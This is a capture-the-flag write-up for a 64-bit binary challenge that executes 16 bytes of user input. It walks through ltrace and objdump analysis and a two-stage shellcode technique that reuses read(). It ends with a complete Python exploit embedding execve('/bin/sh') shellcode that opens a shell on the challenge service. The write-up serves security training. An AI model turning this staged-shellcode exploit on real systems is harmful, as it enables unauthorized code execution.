Hint:

Sigil of Darkness 200 — simplicity is beauty

Service: 10.0.66.72:6611 Binary: 172.16.18.20/sigil_of_darkness-f797aea901a1e5c71ea15304e72b892d

Sigil of darkness was a 64-bit ELF executable exploit challenge. Finding the memory corruption was trivial enough but the exploit itself was fun and interesting because the binary only read 16 bytes from stdin, which is a relatively small payload. For reference, the smaller execve('/bin/sh') shellcodes from shell-storm are about 33 bytes.

{language=python}

$ file sigil_of_darkness-f797aea901a1e5c71ea15304e72b892d
sigil_of_darkness-f797aea901a1e5c71ea15304e72b892d: ELF 64-bit LSB  executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=7cdb94f1b78249d4b1148f6450c207dc469c68e0, stripped

$ ctf-payload -a100 | ltrace -if ./sigil_of_darkness
[pid 4783] [0x4004f9] __libc_start_main(0x4005bd, 1, 0x7fffa9d02a68, 0x400640 <unfinished ...>
[pid 4783] [0x4005f1] mmap(0, 255, 7, 34)                                                    = 0x7f34b7c14000
[pid 4783] [0x40060b] memset(0x7f34b7c14000, '\0', 255)                                      = 0x7f34b7c14000
[pid 4783] [0x400621] read(0, "AAAAAAAAAAAAAAAA", 16)                                        = 16
[pid 4783] [0x7f34b7c14000] --- SIGSEGV (Segmentation fault) ---
[pid 4783] [0xffffffffffffffff] +++ killed by SIGSEGV +++

In the trace you can see the 16-byte read is followed by SIGSEGV, so we suspect this is a typical stack overflow. However, the fact that RIP is at 0x7f34b7c14000 is suspicious because it’s the return value from mmap (the address of newly mapped memory region, which is not on the stack). So we take a look at the disassembly to see what’s going on.

{language=python}

$ objdump -d -j .text -M intel sigil_of_darkness-f797aea901a1e5c71ea15304e72b892d

4005d8:    b9 22 00 00 00         mov    ecx,0x22
4005dd:    ba 07 00 00 00         mov    edx,0x7
4005e2:    be ff 00 00 00         mov    esi,0xff
4005e7:    bf 00 00 00 00         mov    edi,0x0
4005ec:    e8 8f fe ff ff         call   400480 <mmap@plt>
4005f1:    48 89 45 f8            mov    QWORD PTR [rbp-0x8],rax
4005f5:    48 8b 45 f8            mov    rax,QWORD PTR [rbp-0x8]
4005f9:    ba ff 00 00 00         mov    edx,0xff
4005fe:    be 00 00 00 00         mov    esi,0x0
400603:    48 89 c7               mov    rdi,rax
400606:    e8 85 fe ff ff         call   400490 <memset@plt>
40060b:    48 8b 45 f8            mov    rax,QWORD PTR [rbp-0x8]
40060f:    ba 10 00 00 00         mov    edx,0x10
400614:    48 89 c6               mov    rsi,rax
400617:    bf 00 00 00 00         mov    edi,0x0
40061c:    e8 7f fe ff ff         call   4004a0 <read@plt>
400621:    48 8b 55 f8            mov    rdx,QWORD PTR [rbp-0x8]
400625:    b8 00 00 00 00         mov    eax,0x0
40062a:    ff d2                  call   rdx
40062c:    b8 00 00 00 00         mov    eax,0x0
400631:    c9                     leave
400632:    c3                     ret

The relevant part of the disassembly is the call to read and the 3 instructions that follow.

{language=python}

40060b:    48 8b 45 f8            mov    rax,QWORD PTR [rbp-0x8]
40060f:    ba 10 00 00 00         mov    edx,0x10
400614:    48 89 c6               mov    rsi,rax
400617:    bf 00 00 00 00         mov    edi,0x0
40061c:    e8 7f fe ff ff         call   4004a0 <read@plt>
400621:    48 8b 55 f8            mov    rdx,QWORD PTR [rbp-0x8]
400625:    b8 00 00 00 00         mov    eax,0x0
40062a:    ff d2                  call   rdx

I used gdb to verify that $rax points to the address which contains the user input. Remember that this is a 64-bit binary, so the calling convention is that arguments are put into the registers (not on the stack like 32-bit). The calling convention for 64-bit binaries is that arguments are passed in the registers RDI, RSI, RDX, RCX, R8, and R9 respectively. Interpreting the disassembly as pseudo-code we have:

{language=python}

$rax = $user_input
read(0, $rax, 0x10)
$rdx = $user_input
call $rdx

In other words, the user input is read into a buffer and then called! It’s not smashing the stack, it simply executes whatever shellcode you provide. However, there is a catch and this is where things get fun - it only reads 16 bytes. ;) Because 16 bytes is not enough room for typical shellcode, the payload will have to be custom.

My solution to this pwnable was to re-use the read() call to read in a larger buffer (the second stage of our exploit). Because the offsets in the binary are static all we need to do is set RDI, RSI, and RDX appropriately and jump back to 0x40061c. This will call read() again, which will read in our larger buffer, and then call it (again), which is awesome.

So we want read(0, &buff, 0x100) to read 0x100 bytes instead of 16.

In order to save space in our payload, I decided to jump back to 0x400614 so that main() would setup EDI for me. This means we only have to setup RSI and EDX. Note that RSI is set from RAX.

The following assembly is what I came up with to set the registers and jump back to read. There are a handful of ways to jump or call into another part of code, but I chose “push address; ret;” because it works well and requires fewer opcodes than some of the alternatives, but other approaches may also have worked. Also note that because local variables are referenced from EBP, instead of ESP, I was assuming that that I could get the address of the user input (which changes at runtime) using the same reference from the disassembly above ($rbp-0x8).

Using your assembler of choice (or https://defuse.ca/online-x86-assembler.htm) we get the following first-stage payload:

{language=asm}

48 8b 45 f8             mov    rax,QWORD PTR [rbp-0x8]
ba 00 01 00 00          mov    edx,0x100
68 14 06 40 00          push   0x400614
c3                      ret

Which makes our fist stage shellcode exactly 15-bytes so we’ll need to pad it with one byte so the second stage is correctly aligned. Here is the final solution:

{language=python}

 1 if __name__=='__main__':
 2 
 3     import sys
 4     from libctf import *
 5 
 6     # 64 bit execve(/bin/sh) shellcode
 7     # http://shell-storm.org/shellcode/files/shellcode-806.php
 8     shellcode = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
 9 
10     # the first stage of the payload
11     setup = "\x48\x8b\x45\xf8\xba\x00\xff\x00\x00\x68\x14\x06\x40\x00\xC3"
12 
13     # pad to len 16 bytes
14     setup += "\x90"
15 
16     # the final payload
17     payload = setup + shellcode
18 
19     # and pwn the server
20     s = Sock("10.0.66.72",6611)
21     s.send(payload)
22     s.interact()

Flag: So_that_might_have_given10s_moreFFRT